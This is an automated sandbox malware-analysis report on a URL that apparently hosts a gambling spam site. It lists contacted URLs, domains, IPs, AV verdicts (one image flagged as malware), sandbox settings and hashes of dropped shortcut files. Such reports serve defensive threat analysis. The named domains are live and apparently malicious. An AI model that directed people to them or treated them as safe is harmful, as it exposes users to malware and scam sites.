https://ia.51.la/go1?id=21261259&rt=1727409055278&rl=1280*1024&lang=en-US&ct=unknow&pf=1&ins=1&vd=1&ce=1&cd=24&ds=yh533388%25E9%2593%25B6%25E6%25B2%25B3%25E3%2580%2590hbyczyz.com%25E3%2580%2591%25E6%2598%25AF%25E4%25BA%259A%25E6%25B4%25B2%25E5%25A4%259A%25E5%2585%2583%25E5%258C%2596%25E5%25A8%25B1&ing=1&ekc=&sid=1727409055278&tt=yh533388%25E9%2593%25B6%25E6%25B2%25B3%255B%25E5%259C%258B%25E9%259A%259B%255D%25E4%25BF%25B1%25E4%25B9%2590%25E9%2583%25A8-IOS%252FAndroid%252FAPP%25E4%25B8%258B%25E8%25BD%25BD&kw=yh533388%25E9%2593%25B6%25E6%25B2%25B3&cu=https%253A%252F%252Fwww.hbyczyz.com%252F&pu=	0%	Avira URL Cloud	safe
http://hbyczyz.com/favicon.ico	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/30/image_1680155843_q68x6Y87.jpg	0%	Avira URL Cloud	safe
https://www.strlaser.com/resources/assets/images/logob.png	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/images/about3.jpg	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/06/image_1680777712_HMe	0%	Avira URL Cloud	safe
https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif?l=https://www.hbyczyz.com/	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715310262_gb1bC5Ye.jpg	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/30/image_1685440853_TBI	0%	Avira URL Cloud	safe
https://www.zhspay.com/zhuye/img/jinsha999.gif	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511227_Glx	0%	Avira URL Cloud	safe
https://www.zhspay.com/go/ghdc.html	0%	Avira URL Cloud	safe
https://www.zhspay.com/go/wnsr.html	0%	Avira URL Cloud	safe
http://hbyczyz.com	0%	Avira URL Cloud	safe
https://www.zhspay.com/zhuye/img/tyc1.gif	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/images/t400-400.png	0%	Avira URL Cloud	safe
https://www.zhspay.com/zhuye/m/index.html	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/07/image_1680859659_Or5	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/lib/js/swiper-bundle.min.js?v=0.574	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/images/bg1.jpg	0%	Avira URL Cloud	safe
https://www.zhspay.com/go/ledong.html	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/lib/js/jquery-1.10.1.min.js?v=0.574	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/images/about5.jpg	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/images/p15.png	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/17/image_1681712074_zK7	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/29/image_1680077855_S16	0%	Avira URL Cloud	safe
https://www.strlaser.com/resources/assets/images/fuwu2.jpg	0%	Avira URL Cloud	safe
https://www.zhspay.com/zhuye/img/tyc2024.gif	100%	Avira URL Cloud	malware
https://www.zhspay.com/go/xintyc.html	0%	Avira URL Cloud	safe
https://www.zhspay.com/zhuye/	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/17/image_1681712074_zK734O2g.jpg	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/06/image_1680777847_yF9	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511194_iI19gSI1.png	0%	Avira URL Cloud	safe
https://www.strlaser.com/resources/assets/images/bg2.jpg	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/31/image_1685503659_nVu	0%	Avira URL Cloud	safe
https://www.zhspay.com/zhuye/site.css	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/images/p0.png	0%	Avira URL Cloud	safe
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/31/image_1685503659_nVuRhA09.png	0%	Avira URL Cloud	safe
https://www.hbyczyz.com/resources/assets/lib/style/common.css?v=0.574	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
share.n.shifen.com	112.34.113.148	true	false	unknown
hcdnwsa120.v5.cdnhwczoy106.cn	38.54.26.75	true	false	unknown
api.share.n.shifen.com	182.61.201.94	true	false	unknown
sslzz.jomodns.com	58.254.150.48	true	false	unknown
www.uapp360.com	50.3.213.78	true	false	unknown
hm.e.shifen.com	111.45.11.83	true	false	unknown
www.zhspay.com	50.3.213.5	true	false	unknown
www.hbyczyz.com	50.2.64.137	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
website-ishutime.oss-cn-chengdu.aliyuncs.com	47.108.5.198	true	false	unknown
hcdnwsa101.vip.cdnhwckon103.com	118.123.207.191	true	false	unknown
www.wshifen.com	103.235.47.188	true	false	unknown
hbyczyz.com	50.2.64.137	true	false	unknown
www.google.com	142.250.181.228	true	false	unknown
201.shutime.cn	211.149.140.201	true	false	unknown
push.zhanzhang.baidu.com	unknown	unknown	false	unknown
www.strlaser.com	unknown	unknown	false	unknown
ia.51.la	unknown	unknown	false	unknown
collect-v6.51.la	unknown	unknown	false	unknown
js.users.51.la	unknown	unknown	false	unknown
api.share.baidu.com	unknown	unknown	false	unknown
zz.bdstatic.com	unknown	unknown	false	unknown
sp0.baidu.com	unknown	unknown	false	unknown
hm.baidu.com	unknown	unknown	false	unknown
sdk.51.la	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.hbyczyz.com/resources/assets/lib/style/animate.min.css?v=0.574	false	Avira URL Cloud: safe	unknown
https://www.uapp360.com/2023/seo.js	false	Avira URL Cloud: safe	unknown
https://www.strlaser.com/resources/assets/images/about1.jpg	false	Avira URL Cloud: safe	unknown
https://www.zhspay.com/zhuye/img/wnsr2021.gif	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/seo.js	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/17/image_1681709920_iYSN17Wo.png	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/29/image_1680077868_K8782u19.jpg	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/js/sichuang.shutime.js?v=0.574	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/images/news2.jpg	false	Avira URL Cloud: safe	unknown
https://www.strlaser.com/resources/assets/images/t400-400.png	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511227_Glxj11O4.png	false	Avira URL Cloud: safe	unknown
https://www.strlaser.com/resources/assets/images/news2023.jpg	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/lib/style/swiper-bundle.min.css?v=0.574	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715308595_zbRpYtB3.png	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/lib/js/xlPaging.js?v=0.574	false	Avira URL Cloud: safe	unknown
https://www.strlaser.com/resources/assets/images/about3.jpg	false	Avira URL Cloud: safe	unknown
https://www.zhspay.com/zhuye/index.css	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715311213_h179c92l.png	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/06/14/image_1686733404_H4b8ovTI.png	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/images/p8.png	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/style/sichuang.shutime.css?v=0.574	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/images/img4.png	false	Avira URL Cloud: safe	unknown
https://ia.51.la/go1?id=20655415&rt=1727409039366&rl=1280*1024&lang=en-US&ct=unknow&pf=1&ins=1&vd=1&ce=1&cd=24&ds=&ing=1&ekc=&sid=1727409039366&tt=&kw=&cu=https%253A%252F%252Fwww.zhspay.com%252Fzhuye%252Findex.html&pu=http%253A%252F%252Fhbyczyz.com%252F	false	Avira URL Cloud: safe	unknown
https://www.strlaser.com/resources/assets/images/p4.png	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/favicon.ico	false	Avira URL Cloud: safe	unknown
http://hbyczyz.com/seo.js	false	Avira URL Cloud: safe	unknown
https://www.strlaser.com/resources/assets/images/fuwu1.jpg	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/images/about1.jpg	false	Avira URL Cloud: safe	unknown
https://sdk.51.la/js-sdk-pro.min.js	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/30/image_1685441425_t028G50I.png	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511345_qc6Zg0KK.png	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/lib/js/gsap.min.js?v=0.574	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715310520_AGtJf5BI.png	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715324241_REr34rRH.png	false	Avira URL Cloud: safe	unknown
http://ia.51.la/go1?id=21261259&rt=1727409034063&rl=1280*1024&lang=en-US&ct=unknow&pf=1&ins=1&vd=1&ce=1&cd=24&ds=&ing=1&ekc=&sid=1727409034063&tt=yh533388%25E9%2593%25B6%25E6%25B2%25B3%255B%25E5%259C%258B%25E9%259A%259B%255D%25E4%25BF%25B1%25E4%25B9%2590%25E9%2583%25A8-IOS%252FAndroid%252FAPP%25E4%25B8%258B%25E8%25BD%25BD&kw=&cu=http%253A%252F%252Fhbyczyz.com%252Fxrr&pu=	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/	false		unknown
https://www.zhspay.com/zhuye/index.html	false	Avira URL Cloud: safe	unknown
https://www.strlaser.com/resources/assets/images/news2.jpg	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/images/img2.png	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/images/p6.png	false	Avira URL Cloud: safe	unknown
https://www.strlaser.com/resources/assets/images/p8.png	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/06/14/image_1686733336_kbFifD2i.png	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/images/fuwu1.jpg	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/images/p4.png	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511204_BXx9E5Nl.png	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/07/image_1680859684_ZB9333Zh.jpg	false	Avira URL Cloud: safe	unknown
http://hbyczyz.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://www.strlaser.com/resources/assets/images/about6.jpg	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/30/image_1680155843_q68x6Y87.jpg	false	Avira URL Cloud: safe	unknown
https://ia.51.la/go1?id=21261259&rt=1727409055278&rl=1280*1024&lang=en-US&ct=unknow&pf=1&ins=1&vd=1&ce=1&cd=24&ds=yh533388%25E9%2593%25B6%25E6%25B2%25B3%25E3%2580%2590hbyczyz.com%25E3%2580%2591%25E6%2598%25AF%25E4%25BA%259A%25E6%25B4%25B2%25E5%25A4%259A%25E5%2585%2583%25E5%258C%2596%25E5%25A8%25B1&ing=1&ekc=&sid=1727409055278&tt=yh533388%25E9%2593%25B6%25E6%25B2%25B3%255B%25E5%259C%258B%25E9%259A%259B%255D%25E4%25BF%25B1%25E4%25B9%2590%25E9%2583%25A8-IOS%252FAndroid%252FAPP%25E4%25B8%258B%25E8%25BD%25BD&kw=yh533388%25E9%2593%25B6%25E6%25B2%25B3&cu=https%253A%252F%252Fwww.hbyczyz.com%252F&pu=	false	Avira URL Cloud: safe	unknown
https://www.strlaser.com/resources/assets/images/logob.png	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/images/about3.jpg	false	Avira URL Cloud: safe	unknown
https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif?l=https://www.hbyczyz.com/	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715310262_gb1bC5Ye.jpg	false	Avira URL Cloud: safe	unknown
https://www.zhspay.com/zhuye/img/jinsha999.gif	false	Avira URL Cloud: safe	unknown
https://www.zhspay.com/zhuye/img/tyc1.gif	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/images/t400-400.png	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/lib/js/swiper-bundle.min.js?v=0.574	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/images/bg1.jpg	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/lib/js/jquery-1.10.1.min.js?v=0.574	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/images/about5.jpg	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/images/p15.png	false	Avira URL Cloud: safe	unknown
https://www.strlaser.com/resources/assets/images/fuwu2.jpg	false	Avira URL Cloud: safe	unknown
http://hbyczyz.com/xrr	true		unknown
https://www.zhspay.com/zhuye/img/tyc2024.gif	false	Avira URL Cloud: malware	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511194_iI19gSI1.png	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/17/image_1681712074_zK734O2g.jpg	false	Avira URL Cloud: safe	unknown
https://www.strlaser.com/resources/assets/images/bg2.jpg	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/images/p0.png	false	Avira URL Cloud: safe	unknown
https://www.zhspay.com/zhuye/site.css	false	Avira URL Cloud: safe	unknown
https://www.hbyczyz.com/resources/assets/lib/style/common.css?v=0.574	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/31/image_1685503659_nVuRhA09.png	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.zhspay.com/go/bet365365.html	chromecache_303.2.dr, chromecache_159.2.dr	false	Avira URL Cloud: safe	unknown
https://www.zhspay.com/go/tyc.html	chromecache_303.2.dr, chromecache_159.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/06/14/image_1686733336_kbF	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511345_qc6	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715310262_gb1	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
http://www.ishutime.com	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511204_BXx	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://beian.miit.gov.cn/	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715308754_jDv	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/30/image_1680155843_q68	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/30/image_1685441425_t02	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://www.zhspay.com/go/betway.html	chromecache_303.2.dr, chromecache_159.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/29/image_1680077868_K87	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/06/image_1680777712_HMe	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/30/image_1685440853_TBI	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511227_Glx	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://www.zhspay.com/go/ghdc.html	chromecache_303.2.dr, chromecache_159.2.dr	false	Avira URL Cloud: safe	unknown
http://hbyczyz.com	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://www.zhspay.com/go/wnsr.html	chromecache_303.2.dr, chromecache_159.2.dr	false	Avira URL Cloud: safe	unknown
https://www.zhspay.com/zhuye/m/index.html	chromecache_303.2.dr, chromecache_159.2.dr	false	Avira URL Cloud: safe	unknown
https://www.zhspay.com/go/ledong.html	chromecache_303.2.dr, chromecache_159.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/07/image_1680859659_Or5	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/17/image_1681712074_zK7	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/03/29/image_1680077855_S16	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://www.zhspay.com/go/xintyc.html	chromecache_303.2.dr, chromecache_159.2.dr	false	Avira URL Cloud: safe	unknown
https://www.zhspay.com/zhuye/	chromecache_303.2.dr, chromecache_159.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/06/image_1680777847_yF9	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown
https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/05/31/image_1685503659_nVu	chromecache_213.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.104.74.82	unknown	United States	174	COGENT-174US	false
90.84.161.25	unknown	France	5511	OPENTRANSITFR	false
163.177.17.97	unknown	China	136958	UNICOM-GUANGZHOU-IDCChinaUnicomGuangdongIPnetworkCN	false
38.54.26.75	hcdnwsa120.v5.cdnhwczoy106.cn	United States	174	COGENT-174US	false
182.61.201.94	api.share.n.shifen.com	China	38365	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
50.3.213.78	www.uapp360.com	United States	62904	EONIX-COMMUNICATIONS-ASBLOCK-62904US	false
111.45.11.83	hm.e.shifen.com	China	56040	CMNET-GUANGDONG-APChinaMobilecommunicationscorporation	false
148.153.240.75	unknown	United States	63199	CDSC-AS1US	false
112.34.113.148	share.n.shifen.com	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
103.235.47.188	www.wshifen.com	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
103.235.46.96	unknown	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
50.2.64.137	www.hbyczyz.com	United States	62904	EONIX-COMMUNICATIONS-ASBLOCK-62904US	false
58.254.150.48	sslzz.jomodns.com	China	136958	UNICOM-GUANGZHOU-IDCChinaUnicomGuangdongIPnetworkCN	false
180.101.212.103	unknown	China	134770	CHINANET-JIANGSU-SUZHOU-NETWORKCHINANETJiangsuprovinceSu	false
211.149.140.201	201.shutime.cn	China	38283	CHINANET-SCIDC-AS-APCHINANETSiChuanTelecomInternetData	false
182.118.39.155	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
47.108.5.198	website-ishutime.oss-cn-chengdu.aliyuncs.com	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
98.98.25.17	unknown	United States	7018	ATT-INTERNET4US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.228	www.google.com	United States	15169	GOOGLEUS	false
183.240.98.228	unknown	China	56040	CMNET-GUANGDONG-APChinaMobilecommunicationscorporation	false
118.123.207.191	hcdnwsa101.vip.cdnhwckon103.com	China	38283	CHINANET-SCIDC-AS-APCHINANETSiChuanTelecomInternetData	false
50.3.213.5	www.zhspay.com	United States	62904	EONIX-COMMUNICATIONS-ASBLOCK-62904US	false

Private

IP
192.168.2.6
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520152
Start date and time:	2024-09-27 05:49:34 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://hbyczyz.com/xrr
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal56.win@19/292@108/25
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: http://hbyczyz.com/

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67, 142.250.181.238, 66.102.1.84, 34.104.35.123, 172.217.16.202, 142.250.186.67, 93.184.221.240, 20.114.59.183, 192.229.221.95, 20.242.39.171, 142.250.74.202, 142.250.186.106, 142.250.185.202, 142.250.185.170, 216.58.212.138, 142.250.185.234, 142.250.185.138, 142.250.186.138, 142.250.186.74, 142.250.184.202, 142.250.185.106, 142.250.184.234, 142.250.185.74, 172.217.18.10, 172.217.23.106, 20.3.187.198
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, clients.l.google.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://hbyczyz.com/xrr

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 27 02:50:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9774414976239596
Encrypted:	false
SSDEEP:	48:85drTzzmHxidAKZdA19ehwiZUklqehey+3:83Dcty
MD5:	E58AC41A122539BE67073456C4C97359
SHA1:	A53C71CB68210C93D3C634336535927CD225A581
SHA-256:	658CF05B460A538629B1B1A073DCF3E7A0506395CD2C70F85998972A1E03CCE6
SHA-512:	A83C537C487C854CE0107B0D5422E053B367DFEF41D67E4550F7B6FD2FA4AE6394EB0354479A7FD322FBF883E6F46633CFA65120C23609D50BE97A2F511DBDBC
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....xLe....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I;YN.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V;YN.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V;YN.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V;YN............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V;YO............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 27 02:50:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9969609428765858
Encrypted:	false
SSDEEP:	48:8edrTzzmHxidAKZdA1weh/iZUkAQkqehdy+2:86Du9Q0y
MD5:	BE10593231853F9F29E9680D3BEFFB7D
SHA1:	E89F4AE8879EB306FB5731E1EB77A7FEB3878EBA
SHA-256:	E342E5CCF269756683BCA483DE546B9CE1E4CCEAFC3D4311D4376F4E26CE8ACB
SHA-512:	8316BE73C825E80E8A1AE3D0365A4ADDFBB18178EC62ABAFBA108FBBC538C33D095A54897B0245333554035270CB3E3A53687C9588B665DA974FF1D631DB2C99
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Be....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I;YN.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V;YN.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V;YN.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V;YN............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V;YO............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............).....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

